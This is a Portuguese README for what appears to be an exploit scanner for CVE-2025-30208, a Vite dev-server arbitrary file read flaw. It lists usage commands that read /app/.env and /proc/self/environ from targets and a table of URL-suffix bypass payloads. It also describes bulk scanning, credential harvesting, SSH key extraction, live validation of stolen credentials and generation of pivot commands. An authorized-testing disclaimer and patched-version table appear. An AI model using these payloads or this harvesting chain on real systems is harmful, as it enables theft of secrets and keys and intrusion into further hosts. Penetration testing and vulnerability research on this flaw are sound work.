
Scanner de exploração para CVE-2025-30208 (leitura arbitrária de arquivos do Vite) com detecção de bypass multivariante, coleta de credenciais, extração de chaves SSH e relatórios estruturados para testes de penetração autorizados.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Severidade: CVSS 5.3 Médio (servidor de desenvolvimento acessível pela rede)
⚠ Apenas para engajamentos de segurança autorizados.
O uso não autorizado contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar é ilegal.
O servidor de desenvolvimento do Vite permite servir arquivos arbitrários do sistema de arquivos do host através de solicitações /@fs/.
Uma verificação de sanitização de query-string ausente em versões afetadas permite que um atacante anexe sufixos especialmente criados para contornar a lista de permissões e ler qualquer arquivo que o processo possa acessar — incluindo arquivos .env, chaves privadas SSH, credenciais de nuvem e entradas /proc.
pip install requests
# ou
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
Portas padrão para varredura em lote: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Quando --output /tmp/report é especificado, o scanner escreve:
/tmp/report.json — resultados estruturados legíveis por máquina/tmp/report.md — relatório Markdown legível por humanosA varredura em lote sempre imprime VULN_COUNT=N na última linha para fácil script em shell:
python main.py -l targets.txt | grep '^VULN_COUNT='
Varreduras de alvo único imprimem SCAN_STATUS=VULNERABLE|NOT_VULNERABLE no final para automação.
cve30208/
├── __init__.py — superfície da API pública
├── __main__.py — ponto de entrada python -m cve30208
├── constants.py — constantes BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan
├── ui.py — códigos de cor ANSI, Spin/NullSpin, auxiliares de terminal
├── utils.py — helpers compartilhados (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (validação de credenciais ao vivo)
inclui um registro de verificação para extensão mais fácil
├── report.py — save_report(), make_md()
└── scanner.py — dataclasses FR/R, Scanner, bulk_scan(), main()
main.py — shim de compatibilidade reversa
requirements.txt
O scanner suprime automaticamente artefatos repetidos para que a saída permaneça limpa mesmo quando HOME é igual a /root ou o mesmo segredo aparece em múltiplos arquivos:
A linha de resumo informa quantos arquivos, segredos e chaves SSH foram suprimidos como duplicatas, por exemplo:
desduplicado 2 arquivo(s), 4 credencial(is), 1 chave(s) SSH suprimidas como duplicatas
--host 0.0.0.0 em redes não confiáveis..env e remova segredos desnecessários do projeto.Esta ferramenta é fornecida apenas para testes de penetração autorizados e pesquisa de segurança.
Ao usar esta ferramenta, você concorda que tem autorização explícita por escrito para testar os sistemas alvo.
Os autores não aceitam responsabilidade por qualquer uso indevido ou dano causado por este software.
CVE-2025-30208 PoC v5
O JSON gerado agora inclui:
schema_version (atual: 1.0.0)status (VULNERABLE ou NOT_VULNERABLE)safe_mode (true quando o modo de ocultação de segredos no terminal estava ativado)report_redacted (true quando pelo menos um segredo existia e foi ocultado nos relatórios persistidos)| Ramo | Última vulnerável | Corrigido |
|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Nome | Sufixo / Query | Descrição |
|---|
raw?? | ?raw?? | ?? à direita quebra rawRE |
import&raw?? | ?import&raw?? | ES module + raw combinados |
raw? | ?raw? | ? único à direita |
url&raw?? | ?url&raw?? | Modo URL combinado |
raw&url?? | ?raw&url?? | Ordem de parâmetros invertida |
import&?raw | ?import&?raw | Prefixo de import malformado |
sec-fetch | ?raw + cabeçalho Sec-Fetch | Contexto de script do navegador |
raw-encoded | ?raw%3f%3f | Separadores codificados em URL |
double-slash | ?raw??/ | Bypass com barra dupla (v5) |
pct-all | %3fraw%3f%3f | Query totalmente codificada em percentual (v5) |
raw-hash | ?raw??# | Bypass com âncora de fragmento (v5) |
wasm-init | ?inline=1.wasm?init | Irmão do CVE-2025-31125 (wasm init) |
| Flag | Padrão | Descrição |
|---|
-t/--target | — | URL do alvo único |
-l/--lists | — | Arquivo contendo um alvo por linha |
--stealth | desligado | Adicionar atrasos aleatórios entre requisições |
--proxy | — | Proxy HTTP/HTTPS (http://host:port) |
--timeout | 10 | Tempo limite por requisição em segundos |
--verify | desligado | Habilitar verificação de certificado TLS |
--file | — | Ler um caminho específico no host alvo |
--save | — | Salvar conteúdo de --file em um caminho local |
--full-chain | ligado | Executar cadeia completa de exploração (validação ao vivo é padrão) |
--output | — | Escrever relatório JSON + Markdown neste caminho base |
--workers | 10 | Trabalhadores paralelos para varredura em lote |
--ports | veja abaixo | Portas separadas por vírgula para sondar em modo lote |
--no-color/--plain | desligado | Desabilitar códigos de cor ANSI |
--safe-mode | desligado | Ocultar valores de segredos na saída do terminal |
--show-secrets | desligado | Mostrar segredos completos no terminal (sobrescreve --safe-mode) |
--version | — | Imprimir versão e sair |
| Camada | Mecanismo |
|---|
| Leituras do sistema de arquivos | stage_fs normaliza a lista base de chaves SSH com dict.fromkeys e remove caminhos duplicados da fila reads antes que qualquer saída seja produzida. |
| Salvamento de arquivos | Scanner._save verifica um conjunto _seen_file_paths por varredura; caminhos duplicados retornam o FR já armazenado sem readicionar a r.files. |
| Segredos | Scanner._save desduplica r.secrets globalmente por (name, value) em todos os arquivos; a desduplicação dentro do arquivo é tratada separadamente em scan_secrets. |
| Chaves SSH | stage_ssh colapsa chaves com a mesma assinatura PEM (primeiros _PEM_SIG_LEN bytes) que aparecem em múltiplos arquivos fonte. |
| Comandos de pivô | Blocos de pivô são chaveados por (key_source, host, port); combinações idênticas são impressas apenas uma vez. |